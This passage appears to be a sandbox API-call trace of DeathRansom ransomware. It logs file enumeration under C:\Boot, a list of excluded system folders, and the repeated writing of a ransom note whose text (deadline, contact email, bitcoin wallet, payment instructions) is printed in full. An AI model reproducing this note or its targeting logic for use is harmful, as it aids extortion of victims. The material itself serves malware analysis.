wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\..") returned 20 [0077.521] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.521] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.521] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 33 [0077.521] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.521] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.521] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\read_me.txt") returned 29 [0077.521] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\read_me.txt" (normalized: "c:\\boot\\da-dk\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a4 [0077.522] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.522] WriteFile (in: hFile=0x7a4, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.523] CloseHandle (hObject=0x7a4) returned 1 [0077.523] GetProcessHeap () returned 0x540000 [0077.523] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41a0078 | out: hHeap=0x540000) returned 1 [0077.523] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0077.523] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\de-DE") returned 17 [0077.523] lstrcmpW (lpString1="de-DE", lpString2="..") returned 1 [0077.523] lstrcmpW (lpString1="de-DE", lpString2=".") returned 1 [0077.523] StrStrW (lpFirst="de-de", lpSrch="programdata") returned 0x0 [0077.523] StrStrW (lpFirst="de-de", lpSrch="$recycle.bin") returned 0x0 [0077.523] StrStrW (lpFirst="de-de", lpSrch="program files") returned 0x0 [0077.523] StrStrW (lpFirst="de-de", lpSrch="windows") returned 0x0 [0077.523] StrStrW (lpFirst="de-de", lpSrch="all users") returned 0x0 [0077.523] StrStrW (lpFirst="de-de", lpSrch="appdata") returned 0x0 [0077.523] GetProcessHeap () returned 0x540000 [0077.523] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41a0078 [0077.523] lstrcpyW (in: lpString1=0x41a0078, lpString2="\\\\?\\C:\\Boot\\de-DE" | out: lpString1="\\\\?\\C:\\Boot\\de-DE") returned="\\\\?\\C:\\Boot\\de-DE" [0077.523] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 4 [0077.523] QueueUserWorkItem (Function=0x40a710, Context=0x41a0078, Flags=0x0) returned 1 [0077.523] GetProcessHeap () returned 0x540000 [0077.523] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41b0080 [0077.523] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\de-DE\\*") returned 19 [0077.524] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.552] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\de-DE\\.") returned 19 [0077.552] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.552] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.552] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.553] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\de-DE\\..") returned 20 [0077.553] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.553] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.553] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 33 [0077.553] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.553] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.553] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\de-DE\\read_me.txt") returned 29 [0077.553] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\read_me.txt" (normalized: "c:\\boot\\de-de\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b0 [0077.553] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.553] WriteFile (in: hFile=0x7b0, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.554] CloseHandle (hObject=0x7b0) returned 1 [0077.554] GetProcessHeap () returned 0x540000 [0077.554] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b0080 | out: hHeap=0x540000) returned 1 [0077.558] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0077.558] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\el-GR") returned 17 [0077.558] lstrcmpW (lpString1="el-GR", lpString2="..") returned 1 [0077.558] lstrcmpW (lpString1="el-GR", lpString2=".") returned 1 [0077.558] StrStrW (lpFirst="el-gr", lpSrch="programdata") returned 0x0 [0077.558] StrStrW (lpFirst="el-gr", lpSrch="$recycle.bin") returned 0x0 [0077.558] StrStrW (lpFirst="el-gr", lpSrch="program files") returned 0x0 [0077.558] StrStrW (lpFirst="el-gr", lpSrch="windows") returned 0x0 [0077.558] StrStrW (lpFirst="el-gr", lpSrch="all users") returned 0x0 [0077.558] StrStrW (lpFirst="el-gr", lpSrch="appdata") returned 0x0 [0077.558] GetProcessHeap () returned 0x540000 [0077.558] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.559] lstrcpyW (in: lpString1=0x4150050, lpString2="\\\\?\\C:\\Boot\\el-GR" | out: lpString1="\\\\?\\C:\\Boot\\el-GR") returned="\\\\?\\C:\\Boot\\el-GR" [0077.559] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 5 [0077.559] QueueUserWorkItem (Function=0x40a710, Context=0x4150050, Flags=0x0) returned 1 [0077.559] GetProcessHeap () returned 0x540000 [0077.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4190070 [0077.560] wnsprintfW (in: pszDest=0x4190070, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\*") returned 19 [0077.560] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.561] wnsprintfW (in: pszDest=0x4190070, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\.") returned 19 [0077.561] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.561] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.561] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.561] wnsprintfW (in: pszDest=0x4190070, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\..") returned 20 [0077.561] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.561] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.561] wnsprintfW (in: pszDest=0x4190070, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 33 [0077.561] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.561] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.561] wnsprintfW (in: pszDest=0x4190070, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\read_me.txt") returned 29 [0077.561] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\read_me.txt" (normalized: "c:\\boot\\el-gr\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b0 [0077.562] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.562] WriteFile (in: hFile=0x7b0, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.562] CloseHandle (hObject=0x7b0) returned 1 [0077.563] GetProcessHeap () returned 0x540000 [0077.563] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4190070 | out: hHeap=0x540000) returned 1 [0077.563] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0077.563] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US") returned 17 [0077.563] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0077.563] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0077.563] StrStrW (lpFirst="en-us", lpSrch="programdata") returned 0x0 [0077.563] StrStrW (lpFirst="en-us", lpSrch="$recycle.bin") returned 0x0 [0077.563] StrStrW (lpFirst="en-us", lpSrch="program files") returned 0x0 [0077.563] StrStrW (lpFirst="en-us", lpSrch="windows") returned 0x0 [0077.563] StrStrW (lpFirst="en-us", lpSrch="all users") returned 0x0 [0077.563] StrStrW (lpFirst="en-us", lpSrch="appdata") returned 0x0 [0077.563] GetProcessHeap () returned 0x540000 [0077.563] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4190070 [0077.563] lstrcpyW (in: lpString1=0x4190070, lpString2="\\\\?\\C:\\Boot\\en-US" | out: lpString1="\\\\?\\C:\\Boot\\en-US") returned="\\\\?\\C:\\Boot\\en-US" [0077.563] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 6 [0077.563] QueueUserWorkItem (Function=0x40a710, Context=0x4190070, Flags=0x0) returned 1 [0077.563] GetProcessHeap () returned 0x540000 [0077.563] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.564] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\*") returned 19 [0077.564] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.607] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\.") returned 19 [0077.607] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.607] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.607] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.607] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\..") returned 20 [0077.607] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.607] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.607] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui") returned 33 [0077.607] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0077.608] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui") returned 33 [0077.608] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, 